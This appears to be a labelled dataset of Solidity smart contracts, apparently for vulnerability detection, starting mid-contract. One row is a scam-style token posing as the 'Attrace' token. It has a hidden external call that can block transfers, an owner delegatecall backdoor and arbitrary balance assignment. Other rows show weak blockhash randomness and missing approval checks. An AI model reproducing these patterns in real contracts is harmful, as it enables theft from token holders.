emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
function transferFromAdmin(address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
specialAccount[_to] = true;
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ERC20Template is DetailedERC20, PausableToken, BurnableToken, CappedToken {
string public _name = 'ZPoker';
string public _symbol = 'POK';
uint8 _decimals = 8;
uint256 initialSupply = 3000000000*(10**8);
address initHold = 0x6295a2c47dc0edc26694bc2f4c509e35be180f5d;
function ERC20Template() public
DetailedERC20(_name, _symbol, _decimals)
CappedToken( initialSupply )
{
mint(initHold, initialSupply);
transferOwnership(initHold);
}
} | 1 | 5,061 |
pragma solidity ^0.4.25;
contract EtherDice {
address public constant OWNER = 0x8026F25c6f898b4afE03d05F87e6c2AFeaaC3a3D;
address public constant MANAGER = 0xD25BD6c44D6cF3C0358AB30ed5E89F2090409a79;
uint constant public FEE_PERCENT = 1;
uint public minBet;
uint public maxBet;
uint public currentIndex;
uint public lockBalance;
uint public betsOfBlock;
uint entropy;
struct Bet {
address player;
uint deposit;
uint block;
}
Bet[] public bets;
event PlaceBet(uint num, address player, uint bet, uint payout, uint roll, uint time);
modifier onlyOwner {
require(OWNER == msg.sender || MANAGER == msg.sender);
_;
}
function() public payable {
if (msg.value > 0) {
createBet(msg.sender, msg.value);
}
placeBets();
}
function createBet(address _player, uint _deposit) internal {
require(_deposit >= minBet && _deposit <= maxBet);
uint lastBlock = bets.length > 0 ? bets[bets.length-1].block : 0;
require(block.number != lastBlock || betsOfBlock < 50);
uint fee = _deposit * FEE_PERCENT / 100;
uint betAmount = _deposit - fee;
require(betAmount * 2 + fee <= address(this).balance - lockBalance);
sendOwner(fee);
betsOfBlock = block.number != lastBlock ? 1 : betsOfBlock + 1;
lockBalance += betAmount * 2;
bets.push(Bet(_player, _deposit, block.number));
}
function placeBets() internal {
for (uint i = currentIndex; i < bets.length; i++) {
Bet memory bet = bets[i];
if (bet.block < block.number) {
uint betAmount = bet.deposit - bet.deposit * FEE_PERCENT / 100;
lockBalance -= betAmount * 2;
if (block.number - bet.block <= 256) {
entropy = uint(keccak256(abi.encodePacked(blockhash(bet.block), entropy)));
uint roll = entropy % 100 + 1;
uint payout = roll < 51 ? betAmount * 2 : 0;
send(bet.player, payout);
emit PlaceBet(i + 1, bet.player, bet.deposit, payout, roll, now);
}
} else {
break;
}
}
currentIndex = i;
}
function send(address _receiver, uint _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
_receiver.send(_amount);
}
}
function sendOwner(uint _amount) internal {
send(OWNER, _amount * 7 / 10);
send(MANAGER, _amount * 3 / 10);
}
function withdraw(uint _amount) public onlyOwner {
require(_amount <= address(this).balance - lockBalance);
sendOwner(_amount);
}
function configure(uint _minBet, uint _maxBet) onlyOwner public {
require(_minBet >= 0.001 ether && _minBet <= _maxBet);
minBet = _minBet;
maxBet = _maxBet;
}
function deposit() public payable {}
function totalBets() public view returns(uint) {
return bets.length;
}
} | 0 | 73 |
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
contract BuyOpenSeaV2 {
address private _proxy = 0x7f268357A8c2552623316e2562D90e642bB538E5;
function batchBuyWithETH(
uint256 payment, bytes memory orderDetail
) payable external {
_trade(payment, orderDetail);
assembly {
if gt(selfbalance(), 0) {
let callStatus := call(
gas(),
caller(),
selfbalance(),
0,
0,
0,
0
)
}
}
}
function _trade(
uint256 payment, bytes memory orderDetail
) internal {
_proxy.call{value: payment}(orderDetail);
}
} | 0 | 420 |
pragma solidity >=0.5.0 <0.6.0;
library SafeMathUint256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath: Addition exception");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
library SafeMathUint8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8 c) {
c = a + b;
require(c >= a, "SafeMath: Addition exception");
return c;
}
function mod(uint8 a, uint8 b) internal pure returns (uint8) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
contract Ownership {
address payable public owner;
address payable public pendingOwner;
event OwnershipTransferred (address indexed from, address indexed to);
constructor () public
{
owner = msg.sender;
}
modifier onlyOwner {
require (msg.sender == owner, "Ownership: Access denied");
_;
}
function transferOwnership (address payable _pendingOwner) public
onlyOwner
{
pendingOwner = _pendingOwner;
}
function acceptOwnership () public
{
require (msg.sender == pendingOwner, "Ownership: Only new owner is allowed");
emit OwnershipTransferred (owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Controllable is Ownership {
bool public stopped;
mapping (address => bool) public freezeAddresses;
event Paused();
event Resumed();
event FreezeAddress(address indexed addressOf);
event UnfreezeAddress(address indexed addressOf);
modifier onlyActive(address _sender) {
require(!freezeAddresses[_sender], "Controllable: Not active");
_;
}
modifier isUsable {
require(!stopped, "Controllable: Paused");
_;
}
function pause () public
onlyOwner
{
stopped = true;
emit Paused ();
}
function resume () public
onlyOwner
{
stopped = false;
emit Resumed ();
}
function freezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (!freezeAddresses[_addressOf]) {
freezeAddresses[_addressOf] = true;
emit FreezeAddress(_addressOf);
}
return true;
}
function unfreezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (freezeAddresses[_addressOf]) {
delete freezeAddresses[_addressOf];
emit UnfreezeAddress(_addressOf);
}
return true;
}
}
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Controllable {
using SafeMathUint256 for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public
{
totalSupply = _initialSupply;
if (0 < _initialSupply) {
balances[msg.sender] = _initialSupply;
emit Transfer(address(0), msg.sender, _initialSupply);
}
}
function transfer(address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "BasicToken.transfer: Zero value");
require(_value <= balances[msg.sender], "BasicToken.transfer: Insufficient fund");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view
returns (uint256 balance)
{
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_from)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "StandardToken.transferFrom: Zero value");
require(_value <= balances[_from], "StandardToken.transferFrom: Insufficient fund");
require(_value <= allowed[_from][msg.sender], "StandardToken.transferFrom: Insufficient allowance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _value, "StandardToken.approve: Zero value");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _addedValue, "StandardToken.increaseApproval: Zero value");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _subtractedValue, "StandardToken.decreaseApproval: Zero value");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
allowed[msg.sender][_spender] = 0;
else
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ApprovalReceiver {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes memory _extraData) public;
}
contract MUBCoin is StandardToken {
using SafeMathUint256 for uint256;
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) public freezeOf;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) public
BasicToken(_initialSupply)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function freeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= balances[_from], "RLACoin.freeze: Insufficient fund");
balances[_from] = balances[_from].sub(_value);
freezeOf[_from] = freezeOf[_from].add(_value);
emit Freeze(_from, _value);
return true;
}
function unfreeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= freezeOf[_from], "RLACoin.unfreeze: Insufficient fund");
freezeOf[_from] = freezeOf[_from].sub(_value);
balances[_from] = balances[_from].add(_value);
emit Unfreeze(_from, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external
isUsable
returns (bool)
{
approve(_spender, _value);
ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
} | 1 | 3,096 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
address public multisig;
ERC20 public token;
uint rate;
uint priceETH;
event Purchased(address _addr, uint _amount);
function getRateCentUsd() public view returns(uint) {
if (block.timestamp >= 1539550800 && block.timestamp < 1541019600) {
return(70);
}
if (block.timestamp >= 1541019600 && block.timestamp < 1545685200) {
return(100);
}
}
function setPriceETH(uint _newPriceETH) external onlyOwner {
setRate(_newPriceETH);
}
function setRate(uint _priceETH) internal {
require(_priceETH != 0);
priceETH = _priceETH;
rate = getRateCentUsd().mul(1 ether).div(100).div(_priceETH);
}
function getPriceETH() public view returns(uint) {
return priceETH;
}
constructor(address _DNT, address _multisig, uint _priceETH) public {
require(_DNT != 0 && _priceETH != 0);
token = ERC20(_DNT);
multisig = _multisig;
setRate(_priceETH);
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(block.timestamp >= 1539550800 && block.timestamp < 1545685200);
require(msg.value >= 1 ether * 100 / priceETH);
uint256 amount = msg.value.div(rate);
uint256 balance = token.balanceOf(this);
if (amount > balance) {
uint256 cash = balance.mul(rate);
uint256 cashBack = msg.value.sub(cash);
multisig.transfer(cash);
msg.sender.transfer(cashBack);
token.transfer(msg.sender, balance);
emit Purchased(msg.sender, balance);
return;
}
multisig.transfer(msg.value);
token.transfer(msg.sender, amount);
emit Purchased(msg.sender, amount);
}
function finalizeICO(address _owner) external onlyOwner {
require(_owner != address(0));
uint balance = token.balanceOf(this);
token.transfer(_owner, balance);
}
function getMyBalanceDNT() external view returns(uint256) {
return token.balanceOf(msg.sender);
}
} | 1 | 4,019 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
address public ceoAddress = address(0x6c3e879bdd20e9686cfd9bbd1bfd4b2dd6d47079);
IERC721 public erc721Address = IERC721(0xdceaf1652a131f32a821468dc03a92df0edd86ea);
ERC20BasicInterface public usdtToken = ERC20BasicInterface(0xdac17f958d2ee523a2206206994597c13d831ec7);
uint256 public ETHFee = 2;
uint256 public HBWALLETFee = 1;
constructor() public {}
struct Price {
address tokenOwner;
uint256 price;
uint256 fee;
}
mapping(uint256 => Price) public prices;
mapping(uint256 => Price) public usdtPrices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _usdtPrice) public {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
prices[_tokenId] = Price(msg.sender, _ethPrice, 0);
usdtPrices[_tokenId] = Price(msg.sender, _usdtPrice, 0);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
if(prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / 100;
require(msg.value == ethfee);
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / 100;
prices[_tokenId] = Price(msg.sender, _ethPrice, ethfee);
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function getPrice(uint256 tokenId) public view returns (address, address, uint256, uint256){
address currentOwner = erc721Address.ownerOf(tokenId);
if(prices[tokenId].tokenOwner != currentOwner){
resetPrice(tokenId);
}
return (currentOwner, prices[tokenId].tokenOwner, prices[tokenId].price, usdtPrices[tokenId].price);
}
function setFee(uint256 _ethFee, uint256 _hbWalletFee) public view onlyOwner returns (uint256 _ETHFee, uint256 _HBWALLETFee){
require(_ethFee > 0 && _hbWalletFee > 0);
_ETHFee = _ethFee;
_HBWALLETFee = _hbWalletFee;
return (_ETHFee, _HBWALLETFee);
}
function withdraw(address _address, uint256 amount) public onlyCeoAddress {
require(_address != address(0) && amount > 0 && address(this).balance > amount);
_address.transfer(amount);
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyByUsdt(uint256 tokenId) public {
require(usdtPrices[tokenId].price > 0 && erc721Address.getApproved(tokenId) == address(this));
require(usdtToken.transferFrom(msg.sender, usdtPrices[tokenId].tokenOwner, usdtPrices[tokenId].price));
erc721Address.transferFrom(usdtPrices[tokenId].tokenOwner, msg.sender, tokenId);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0);
usdtPrices[tokenId] = Price(address(0), 0, 0);
}
} | 1 | 3,718 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TransparentUpgradeableProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Attrace";
string public symbol = "ATTR";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 92 |
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.24;
contract PluginInterface
{
function isPluginInterface() public pure returns (bool);
function onRemove() public;
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract ConfigInterface
{
function isConfig() public pure returns (bool);
function getCooldownIndexFromGeneration(uint16 _generation) public view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex) public view returns (uint40);
function getCooldownIndexCount() public view returns (uint256);
function getBabyGen(uint16 _momGen, uint16 _dadGen) public pure returns (uint16);
function getTutorialBabyGen(uint16 _dadGen) public pure returns (uint16);
function getBreedingFee(uint40 _momId, uint40 _dadId) public view returns (uint256);
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
ConfigInterface public config;
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
function createSaleAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration
)
public;
function getApproved(uint256 _tokenId) external returns (address);
}
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
CutieCoreInterface public coreContract;
uint16 public ownerFee;
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
